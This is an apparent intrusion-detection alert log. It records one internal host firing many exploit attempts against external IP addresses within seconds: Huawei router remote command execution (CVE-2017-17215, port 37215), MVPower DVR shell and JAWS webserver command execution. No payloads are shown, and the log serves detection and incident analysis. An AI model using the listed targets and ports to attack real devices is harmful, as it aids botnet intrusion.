ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.61.6.231

Timestamp:	06/01/24-18:15:54.253083
SID:	2829579
Source Port:	55144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 112.77.116.122

Timestamp:	06/01/24-18:15:56.255297
SID:	2025883
Source Port:	51122
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.24.85.120

Timestamp:	06/01/24-18:15:54.252942
SID:	2829579
Source Port:	44394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.102.253.127

Timestamp:	06/01/24-18:15:55.259918
SID:	2835222
Source Port:	60760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 51.132.195.236

Timestamp:	06/01/24-18:15:56.254886
SID:	2025883
Source Port:	59050
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.207.94.97

Timestamp:	06/01/24-18:15:54.253661
SID:	2835222
Source Port:	55562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 80.104.124.102

Timestamp:	06/01/24-18:15:56.255441
SID:	2030092
Source Port:	50510
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.215.123.203

Timestamp:	06/01/24-18:15:54.251427
SID:	2829579
Source Port:	40714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 208.88.36.60

Timestamp:	06/01/24-18:15:55.267432
SID:	2030092
Source Port:	56660
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.177.93.194

Timestamp:	06/01/24-18:15:56.307255
SID:	2835222
Source Port:	35724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.208.201.65

Timestamp:	06/01/24-18:15:56.306811
SID:	2829579
Source Port:	46756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 193.77.243.238

Timestamp:	06/01/24-18:15:53.237997
SID:	2030092
Source Port:	60788
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.48.71.40

Timestamp:	06/01/24-18:15:54.273711
SID:	2829579
Source Port:	37362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.64.231.154

Timestamp:	06/01/24-18:15:54.251665
SID:	2829579
Source Port:	43196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 101.102.189.161

Timestamp:	06/01/24-18:15:55.266961
SID:	2030092
Source Port:	42318
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 48.82.38.9

Timestamp:	06/01/24-18:15:55.266286
SID:	2030092
Source Port:	49578
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 211.236.21.25

Timestamp:	06/01/24-18:15:55.267784
SID:	2030092
Source Port:	48642
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 117.221.193.160

Timestamp:	06/01/24-18:15:55.272091
SID:	2025883
Source Port:	33304
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 159.174.137.59

Timestamp:	06/01/24-18:15:55.266766
SID:	2030092
Source Port:	37100
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.97.81.103

Timestamp:	06/01/24-18:15:56.308066
SID:	2835222
Source Port:	57036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.85.186.89

Timestamp:	06/01/24-18:15:54.251517
SID:	2835222
Source Port:	52998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.109.223.59

Timestamp:	06/01/24-18:15:54.254927
SID:	2835222
Source Port:	46710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.158.221.167

Timestamp:	06/01/24-18:15:54.255235
SID:	2829579
Source Port:	40978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.42.21.62

Timestamp:	06/01/24-18:15:54.255840
SID:	2835222
Source Port:	44038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.61.170.174

Timestamp:	06/01/24-18:15:54.274432
SID:	2829579
Source Port:	38934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.150.123.75

Timestamp:	06/01/24-18:15:55.261573
SID:	2829579
Source Port:	60606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.236.18.225

Timestamp:	06/01/24-18:15:54.275211
SID:	2835222
Source Port:	32910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 188.248.176.49

Timestamp:	06/01/24-18:15:53.247144
SID:	2030092
Source Port:	44808
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.136.89.40

Timestamp:	06/01/24-18:15:56.306047
SID:	2835222
Source Port:	46258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 209.98.115.136

Timestamp:	06/01/24-18:15:54.240412
SID:	2025883
Source Port:	35516
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 67.147.165.34

Timestamp:	06/01/24-18:15:54.239076
SID:	2025883
Source Port:	33318
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.149.153.183

Timestamp:	06/01/24-18:15:56.307866
SID:	2835222
Source Port:	57742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 39.24.219.249

Timestamp:	06/01/24-18:15:54.239370
SID:	2025883
Source Port:	50474
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 201.6.73.207

Timestamp:	06/01/24-18:15:56.245225
SID:	2030092
Source Port:	45024
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 158.200.167.191

Timestamp:	06/01/24-18:15:56.255180
SID:	2025883
Source Port:	32818
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 190.51.59.69

Timestamp:	06/01/24-18:15:56.287102
SID:	2030092
Source Port:	46430
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 146.97.242.87

Timestamp:	06/01/24-18:15:53.239856
SID:	2030092
Source Port:	54416
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 177.237.184.162

Timestamp:	06/01/24-18:15:56.244111
SID:	2025883
Source Port:	53508
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.168.190.123

Timestamp:	06/01/24-18:15:56.305747
SID:	2829579
Source Port:	33730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.111.93.178

Timestamp:	06/01/24-18:15:55.266749
SID:	2030092
Source Port:	36502
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 106.16.15.220

Timestamp:	06/01/24-18:15:53.240081
SID:	2025883
Source Port:	33834
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 92.66.196.17

Timestamp:	06/01/24-18:15:56.246172
SID:	2025883
Source Port:	58268
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.6.171.128

Timestamp:	06/01/24-18:15:54.254354
SID:	2835222
Source Port:	60452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.176.79.105

Timestamp:	06/01/24-18:15:54.252900
SID:	2829579
Source Port:	39892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.13.117.57

Timestamp:	06/01/24-18:15:54.256857
SID:	2835222
Source Port:	57300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.112.166.96

Timestamp:	06/01/24-18:15:54.253587
SID:	2829579
Source Port:	58096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 122.96.155.142

Timestamp:	06/01/24-18:15:56.245550
SID:	2030092
Source Port:	41354
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 57.54.162.72

Timestamp:	06/01/24-18:15:54.237923
SID:	2025883
Source Port:	58546
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.18.253.163

Timestamp:	06/01/24-18:15:54.253703
SID:	2829579
Source Port:	37980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 112.217.71.237

Timestamp:	06/01/24-18:15:53.247238
SID:	2030092
Source Port:	43374
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.232.72.207

Timestamp:	06/01/24-18:15:54.252848
SID:	2829579
Source Port:	45532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 19.188.175.96

Timestamp:	06/01/24-18:15:56.244374
SID:	2025883
Source Port:	38836
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.1.219.71

Timestamp:	06/01/24-18:15:54.256278
SID:	2829579
Source Port:	37590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 133.6.1.52

Timestamp:	06/01/24-18:15:56.246983
SID:	2025883
Source Port:	57912
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.83.168.107

Timestamp:	06/01/24-18:15:55.233612
SID:	2835222
Source Port:	47420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 185.108.7.250

Timestamp:	06/01/24-18:15:56.244662
SID:	2025883
Source Port:	52258
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 161.43.121.185

Timestamp:	06/01/24-18:15:54.239201
SID:	2030092
Source Port:	44888
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 117.23.22.23

Timestamp:	06/01/24-18:15:56.244458
SID:	2025883
Source Port:	46316
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.131.43.249

Timestamp:	06/01/24-18:15:55.260926
SID:	2835222
Source Port:	54010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.209.117.218

Timestamp:	06/01/24-18:15:56.287981
SID:	2835222
Source Port:	39772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 146.155.139.101

Timestamp:	06/01/24-18:15:54.239637
SID:	2030092
Source Port:	45958
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.126.49.34

Timestamp:	06/01/24-18:15:56.308318
SID:	2829579
Source Port:	45824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.174.41.196

Timestamp:	06/01/24-18:15:56.306669
SID:	2829579
Source Port:	52088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 60.224.142.1

Timestamp:	06/01/24-18:15:54.238560
SID:	2030092
Source Port:	43196
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 96.101.32.166

Timestamp:	06/01/24-18:15:55.266672
SID:	2030092
Source Port:	56944
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 128.101.239.153

Timestamp:	06/01/24-18:15:53.238730
SID:	2030092
Source Port:	52794
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.180.72.227

Timestamp:	06/01/24-18:15:53.241078
SID:	2030092
Source Port:	55216
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 168.145.45.26

Timestamp:	06/01/24-18:15:56.254555
SID:	2025883
Source Port:	34994
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 194.252.67.19

Timestamp:	06/01/24-18:15:56.287130
SID:	2030092
Source Port:	47654
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.238.94.61

Timestamp:	06/01/24-18:15:53.239991
SID:	2025883
Source Port:	32914
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 102.116.45.43

Timestamp:	06/01/24-18:15:55.265357
SID:	2030092
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.178.217.185

Timestamp:	06/01/24-18:15:55.266992
SID:	2030092
Source Port:	45778
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.208.129.228

Timestamp:	06/01/24-18:15:53.237801
SID:	2030092
Source Port:	50616
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 85.180.164.31

Timestamp:	06/01/24-18:15:55.272495
SID:	2030092
Source Port:	45794
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 165.160.100.184

Timestamp:	06/01/24-18:15:56.245577
SID:	2025883
Source Port:	52106
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 162.133.179.162

Timestamp:	06/01/24-18:15:53.240757
SID:	2025883
Source Port:	56784
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 186.26.240.197

Timestamp:	06/01/24-18:15:55.265177
SID:	2030092
Source Port:	58618
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 120.22.130.14

Timestamp:	06/01/24-18:15:56.224351
SID:	2030092
Source Port:	47646
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 179.146.88.219

Timestamp:	06/01/24-18:15:55.268163
SID:	2030092
Source Port:	37028
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.208.62.80

Timestamp:	06/01/24-18:15:56.307148
SID:	2829579
Source Port:	37048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.63.174.230

Timestamp:	06/01/24-18:15:56.307479
SID:	2829579
Source Port:	60150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.138.203.250

Timestamp:	06/01/24-18:15:55.262015
SID:	2829579
Source Port:	34410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 194.244.242.70

Timestamp:	06/01/24-18:15:54.237678
SID:	2025883
Source Port:	37034
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.235.98.188

Timestamp:	06/01/24-18:15:55.258791
SID:	2835222
Source Port:	39256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 119.120.56.238

Timestamp:	06/01/24-18:15:55.268455
SID:	2030092
Source Port:	39326
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 53.223.178.64

Timestamp:	06/01/24-18:15:54.238640
SID:	2025883
Source Port:	53032
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 198.203.182.175

Timestamp:	06/01/24-18:15:54.239572
SID:	2025883
Source Port:	50710
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.93.240.94

Timestamp:	06/01/24-18:15:54.253777
SID:	2835222
Source Port:	52106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.104.188.254

Timestamp:	06/01/24-18:15:54.251906
SID:	2829579
Source Port:	33272
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 222.84.171.34

Timestamp:	06/01/24-18:15:53.239887
SID:	2030092
Source Port:	54180
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.172.199.73

Timestamp:	06/01/24-18:15:55.261023
SID:	2829579
Source Port:	57540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 123.15.159.153

Timestamp:	06/01/24-18:15:54.241554
SID:	2030092
Source Port:	43640
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 41.182.33.58

Timestamp:	06/01/24-18:15:55.268308
SID:	2030092
Source Port:	39704
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.181.139.113

Timestamp:	06/01/24-18:15:55.263326
SID:	2829579
Source Port:	60588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 80.169.53.160

Timestamp:	06/01/24-18:15:55.267551
SID:	2030092
Source Port:	35132
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 161.166.48.249

Timestamp:	06/01/24-18:15:53.246833
SID:	2025883
Source Port:	47804
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.12.1.243

Timestamp:	06/01/24-18:15:55.261791
SID:	2835222
Source Port:	52352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.87.219.221

Timestamp:	06/01/24-18:15:54.274390
SID:	2835222
Source Port:	46806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 69.42.202.171

Timestamp:	06/01/24-18:15:54.238712
SID:	2030092
Source Port:	39940
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 87.233.87.119

Timestamp:	06/01/24-18:15:54.240074
SID:	2025883
Source Port:	38306
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 82.125.129.152

Timestamp:	06/01/24-18:15:55.265008
SID:	2030092
Source Port:	47246
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 118.131.29.171

Timestamp:	06/01/24-18:15:53.241218
SID:	2025883
Source Port:	32800
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 95.127.175.227

Timestamp:	06/01/24-18:15:54.239112
SID:	2025883
Source Port:	53466
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 31.117.7.12

Timestamp:	06/01/24-18:15:53.247268
SID:	2025883
Source Port:	47738
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.34.153.120

Timestamp:	06/01/24-18:15:54.241602
SID:	2030092
Source Port:	37588
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.148.74.163

Timestamp:	06/01/24-18:15:54.275058
SID:	2829579
Source Port:	51176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 85.214.28.20

Timestamp:	06/01/24-18:15:56.244800
SID:	2030092
Source Port:	47080
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 146.123.63.93

Timestamp:	06/01/24-18:15:56.246953
SID:	2025883
Source Port:	48018
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.186.161.206

Timestamp:	06/01/24-18:15:54.275742
SID:	2835222
Source Port:	60068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

